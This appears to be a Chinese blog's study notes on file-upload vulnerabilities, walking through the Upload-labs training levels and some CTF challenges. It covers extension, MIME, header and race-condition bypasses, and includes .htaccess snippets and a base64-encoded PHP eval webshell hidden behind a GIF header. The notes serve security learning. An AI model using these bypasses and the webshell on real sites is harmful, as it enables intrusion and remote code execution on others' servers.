SSTI-Python
文件上传漏洞
- 主体部分的 Upload-labs 很早就写了,参考了当时的一些文章,后来很久没有接触后,发现有些知识点都忘得差不多了,因此有必要对这种专题类的靶场渗透进行总结,防止遗忘的同时也方便以后查询。
1. Upload-labs
1. Pass-1 (前端通过 js 验证图片)
- 前端验证的话,直接禁用 JavaScript 即可。
- 需要注意的是,在实际环境中,如果禁用 JavaScript,网站的某些功能事件可能无法使用,从而导致按钮等事件失效而无法上传文件。
- 因此针对以上情况,目前可行的方案就是(知道文件的上传路径):
- 先将网站的源代码 copy 下来
- 删除其中的 js 验证的部分
- 修改
<form>
标签中的action
属性,改成被攻击网站的上传路径,这样就可以绕过前端验证将图片上传。
2. Pass-2(MIME 类型验证)
后端仅对 MIME 的类型进行验证,所以修改 MIME 的内容即可。
扩展名 文档类型 MIME 类型 .aac
AAC audio audio/aac
.abw
AbiWord document application/x-abiword
.arc
Archive document (multiple files embedded) application/x-freearc
.avi
AVI: Audio Video Interleave video/x-msvideo
.azw
Amazon Kindle eBook format application/vnd.amazon.ebook
.bin
Any kind of binary data application/octet-stream
.bmp
Windows OS/2 Bitmap Graphics image/bmp
.bz
BZip archive application/x-bzip
.bz2
BZip2 archive application/x-bzip2
.csh
C-Shell script application/x-csh
.css
Cascading Style Sheets (CSS) text/css
.csv
Comma-separated values (CSV) text/csv
.doc
Microsoft Word application/msword
.docx
Microsoft Word (OpenXML) application/vnd.openxmlformats-officedocument.wordprocessingml.document
.eot
MS Embedded OpenType fonts application/vnd.ms-fontobject
.epub
Electronic publication (EPUB) application/epub+zip
.gif
Graphics Interchange Format (GIF) image/gif
.htm.html
HyperText Markup Language (HTML) text/html
.ico
Icon format image/vnd.microsoft.icon
.ics
iCalendar format text/calendar
.jar
Java Archive (JAR) application/java-archive
.jpeg
.jpg
JPEG images image/jpeg
.js
JavaScript text/javascript
.json
JSON format application/json
.jsonld
JSON-LD format application/ld+json
.mid
.midi
Musical Instrument Digital Interface (MIDI) audio/midi
audio/x-midi
.mjs
JavaScript module text/javascript
.mp3
MP3 audio audio/mpeg
.mpeg
MPEG Video video/mpeg
.mpkg
Apple Installer Package application/vnd.apple.installer+xml
.odp
OpenDocument presentation document application/vnd.oasis.opendocument.presentation
.ods
OpenDocument spreadsheet document application/vnd.oasis.opendocument.spreadsheet
.odt
OpenDocument text document application/vnd.oasis.opendocument.text
.oga
OGG audio audio/ogg
.ogv
OGG video video/ogg
.ogx
OGG application/ogg
.otf
OpenType font font/otf
.png
Portable Network Graphics image/png
.pdf
Adobe Portable Document Format (PDF) application/pdf
.ppt
Microsoft PowerPoint application/vnd.ms-powerpoint
.pptx
Microsoft PowerPoint (OpenXML) application/vnd.openxmlformats-officedocument.presentationml.presentation
.rar
RAR archive application/x-rar-compressed
.rtf
Rich Text Format (RTF) application/rtf
.sh
Bourne shell script application/x-sh
.svg
Scalable Vector Graphics (SVG) image/svg+xml
.swf
Small web format (SWF) or Adobe Flash document application/x-shockwave-flash
.tar
Tape Archive (TAR) application/x-tar
.tif.tiff
Tagged Image File Format (TIFF) image/tiff
.ttf
TrueType Font font/ttf
.txt
Text, (generally ASCII or ISO 8859-n) text/plain
.vsd
Microsoft Visio application/vnd.visio
.wav
Waveform Audio Format audio/wav
.weba
WEBM audio audio/webm
.webm
WEBM video video/webm
.webp
WEBP image image/webp
.woff
Web Open Font Format (WOFF) font/woff
.woff2
Web Open Font Format (WOFF) font/woff2
.xhtml
XHTML application/xhtml+xml
.xls
Microsoft Excel application/vnd.ms-excel
.xlsx
Microsoft Excel (OpenXML) application/vnd.openxmlformats-officedocument.spreadsheetml.sheet
.xml
XML
application/xml
代码对普通用户来说不可读 (RFC 3023, section 3)text/xml
代码对普通用户来说可读 (RFC 3023, section 3).xul
XUL application/vnd.mozilla.xul+xml
.zip
ZIP archive application/zip
.3gp
3GPP audio/video container video/3gpp
audio/3gpp
(若不含视频).3g2
3GPP2 audio/video container video/3gpp2
audio/3gpp2
(若不含视频).7z
7-zip archive application/x-7z-compressed
因此用常见的 img/jpeg,image/png,image/gif 三者之一即可。
3. Pass-3(后缀的黑名单绕过)(有使用前提)
源码中,对
php,jsp,asp,aspx
四种类型进行了黑名单过滤。因此可以尝试使用别的后缀来绕过。例如针对 php,其常见的其他类型的后缀也当 php 执行的后缀为:phtml,phps,php5,pht。
需要注意的是,这些不常见的后缀,在默认情况下是不支持的,除非网站管理员在
http-conf
中启用这些后缀才行。AddType application/x-httped-php .php .php5 ...
4. Pass-4(.htaccess 配置文件)(有使用前提)
在 php 中,
.htaccess
文件(或称之为“分布式配置文件”)提供了针对每个目录改变配置的方法,即在一个特定的目录中放置一个包含指令的文件,其中的指令作用于此目录以及其所有的子目录。其正常的作用就是实现 URL 改写,让所有通过 URL 访问的人被
.htaccess
文件带到需要访问的位置。使用前提:
- 在 apache 的配置文件中(
http-conf
),将LoadModule rewrite_modules/mod_rewrite.so
取消注释,即开启 apache 的 rewrite 功能。 - 还要修改其中的 AllowOverride,改为
AllowOverride all
- 可以上传
.htaccess
文件且名字没有被改变。
- 在 apache 的配置文件中(
创建
.htaccess
文件,修改内容如下:1
2
3<FilesMatch "xxx.png">
SetHandler application/x-httpd-php
</FilesMatch>这样它就会把 xxx.png 文件当作 php 执行。
如果把
.htaccess
中的 xxx 去掉,那么它将会把所有的图片都当作 php 执行,这个需要慎用,因为它会妨碍网站业务逻辑的正常运行。
5. Pass-5(大小写绕过)
- 如果网站的采用黑名单过滤且没有强制转换大小写,那么可以使用大小写混合绕过。
6. Pass-6(添加尾部空格)
- 没有过滤尾部的空格,因此抓包,在文件的后面加上空格即可。
7. Pass-7(添加 ‘.’ 绕过)
- 除了更改后缀名,大小写绕过,添加尾部空格,这里就直接添加 ‘.’ 来绕过。
- PS:Linux 中,对于大小写,尾部空格和点都很可能会失效。
8. Pass-8(文件流绕过)
- 在使用 NTFS 文件系统的 windows 中,如果后缀带有
::$DATA
时,他会将文件当作文件流进行处理,从而不检测文件后缀。 - 成功上传后,直接访问不带
::$DATA
的路径即可。
9.Pass-10(过滤一次)
- 混合双写后缀名即可。
10. Pass-11(%00
截断)
%00
在 ASCII 中表示的是空字符,然而在 URL 中,该字符被保留,当出现这个时认为读取结束。使用前提:
- php 的版本要 < 5.3.4
magic_quotes_gpc
要为关闭的状态
本题思路:
由于上传的路径可控,因此其路径可以改成:
../upload/xxx.php%00
上传图片马,否则无法通过文件验证。
11. Pass-12(Post 传输的 %00
截断)
- 由于上传的路径在 POST 体中,而 GET 请求会对 URL 进行一次 URL decode,但是 POST 不会,因此需要将
%00
先进行一次 URL decode 即可。(使用浏览器进行访问时,浏览器会对 URL 进行一次 URL 编码)
12. Pass-13(文件包含漏洞配合文件马)
- 文件包含漏洞将文件当作 PHP 文件执行,因此配合图片马就行。
13. Pass-14(文件头检测 getimagesize()
函数)
getimagesize()
方法会对文件的前 8 个字节进行检测,判断是否为文件头。打开 C32,在 php 文件头添加文件头,由于这题只检测前 8 个字节而不判断后缀,所以后缀直接为 php 即可。
或者直接传图片马,配合文件包含漏洞即可。
常见的文件头:
类型 文件头 文件尾 JPEG(jpg) FFD8FF FFD9 PNG(png) 89504E47 AE426082 GIF(gif) 47494638 003B
14. Pass-15(exif_imagetype() 方法检测文件头)
- 和上一个差不多
15. Pass-16(二次渲染绕过)
16. Pass-17(竞争上传)
- 后端逻辑是先将图片上传上去,上传成功后才开始判断后缀名、二次渲染等。如果在成功上传和判断之间访问了该文件,那么它就无法被改动(因为它正在被打开)
- 所以通过 burpsuite 的 intruder 模块,一边连续发送,一边连续访问,直到成功访问未知。
17. Pass-18(白名单的竞争上传)
因为有白名单,所以只能上传图片马,不过其上传后会对其二次渲染,所以必须要在其二次渲染前访问。
结合文件包含漏洞或者 php 解析漏洞。
php 解析漏洞:https://blog.csdn.net/qq_32434307/article/details/79480316
不过,本人在其目录下创建的
1.php.aaa
可以当成 php 来执行。
18. Pass-19(move_uploaded_file()
)
move_uploaded_file()
将上传的文件移动到新的位置,但是该函数会忽略掉转后文件末尾的/.
- 该题给了一个上传后文件的名字,因此将其更改为
xxx.php/.
即可
19. Pass-20(数组绕过验证)
2. LFI 结合图片马的变种
经典的 LFI 结合图片马一般是这样:
1
2
3
4
5#define width 1337
#define height 1337
<FilesMatch "trojan.jpg">
SetHandler application/x-httpd-php
</FilesMatch>将某个固定的图片马直接解析成 PHP 文件。
但是如果对图片马的内容进行敏感词监测,那么此时图片马就会失效,这时就要考虑编码。
直接上新的
.htacces
:1
2
3
4
5
6#define width 1337
#define height 1337
<FilesMatch "trojan.jpg">
SetHandler application/x-httpd-php
</FilesMatch>
php_value auto_append_file "php://filter/convert.base64-decode/resource=图片马 URL"多加了一行,
php_value auto_append_file
指定文件包含,这样将图片马中的内容进行 Base64 解码。
所以可以直接传图片马:1
2GIF89a66
PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/Pg==头部后面添加
66
,为了满足 Base64 4 位一解码,否则正文部分的编码不能正确解码。例题:[SUCTF 2019]EasyWeb
3. .htaccess
文件使用
参考文档:
Y4tacker 大佬的总结文章:https://blog.csdn.net/solitudi/article/details/116666720
PHP 的配置文件.user.ini
的配置选项:https://www.php.net/manual/zh/ini.list.php
Apachehttpd.conf
的核心指令文档:https://httpd.apache.org/docs/current/mod/core.html主要的内容以 Y4tacker 大佬的总结文章为主,遇到具体类型题目的注意点时单独记录。
有关
.htaccess
文件的语法,一方面参考 Apachehttpd.conf
的范围选择(Scope of Directives)和其核心指令;另一方面就是 PHP 的ini
设置。有关.user.ini
和.htaccess
的联系:https://www.php.net/manual/zh/configuration.file.per-user.php:
PHP 支持基于每个目录的 INI 文件配置。此类文件 仅 被 CGI/FastCGI SAPI 处理。此功能使得 PECL 的 htscanner 扩展作废。如果你的 PHP 以模块化运行在 Apache 里,则用 .htaccess 文件有同样效果。https://www.php.net/manual/zh/configuration.changes.php:当使用 PHP 作为 Apache 模块时,也可以用 Apache 的配置文件(例如 httpd.conf)和 .htaccess 文件中的指令来修改 PHP 的配置设定。需要有“AllowOverride Options”或“AllowOverride All”权限才可以。
有几个 Apache 指令可以使用户在 Apache 配置文件内部修改 PHP 的配置。哪些指令属于INI_ALL
、INI_PERDIR
或INI_SYSTEM
中的哪一个,请参考附录中的 php.ini 配置选项列表。也就是说,
.htaccess
和.user.ini
都是可以使用的,如果过滤了.htaccess
,那么也可以试一试.user.ini
。
3.1 .htaccess
将自身当作 PHP 文件执行
Y4tacker 大佬的文章写明了 PoC。这里主要解释一下本人做题时的思考:
当时在想为什么不能用<FilesMatch>
来将.htaccess
当成 PHP 来执行?Y4tacker 的 PoC 中,有两个关键的 PHP ini 参数:auto_prepend_file
和auto_append_file
。详见:https://www.php.net/manual/zh/ini.core.php#ini.auto-append-file
auto_prepend_file
:指定在主文件之前自动解析的文件名。included 该文件像是用 require 函数调用的一样,因此使用了 include_path。auto_append_file
:指定在主文件之后自动解析的文件名。included 该文件像是用 require 函数调用的一样,因此使用了 include_path。也就是说,每次访问时其会将
.htaccess
文件包含过来并解析执行,而使用<FilesMatch>
并不会执行(而且一般.htaccess
文件是不可访问的)。例题:[羊城杯2020]easyphp。这题还涉及到换行绕过,这里提一下。
Apache 的配置文件语法中,
\
同样可以用于标签内部,例如题目过滤File
关键字,可以使用:1
2
3
4<Fil\
esMatch>
</Fil\
esMatch>来绕过。本地环境试验过,可以成功。
4. 总结
2.1 验证位置不同
- 在前端检验就关闭 JS 或者 Burp 抓包绕过。
2.2 绕过
2.1 后缀绕过 - 黑名单
- 后缀别名
- 大小写(Linux 下未必)
- 尾部空格(Linux 下未必)
- 加个
.
(Linux 下未必) - 双写(针对只过滤一次的)
.htaccess
或者.user.ini
2.2 不同系统的绕过
- Windows 下可以使用文件流
::$DATA
。
2.3 针对组件的绕过
PHP 5.3.4 和
magic_quotes_gpc
关闭状态下的%00
截断。Apache 低版本的解析漏洞。
Nginx 的解析漏洞:
2.4 文件马
- waf 判断字符有限,可以垃圾数据填充绕过(如果有文件头检测,别忘了添加)。
- 二次渲染。
- 竞争上传。
2.5 奇淫技巧(偏向 CTF)
- 针对
move_uploaded_file()
逻辑绕过。 .htaccess
将自身当作 PHP 文件执行。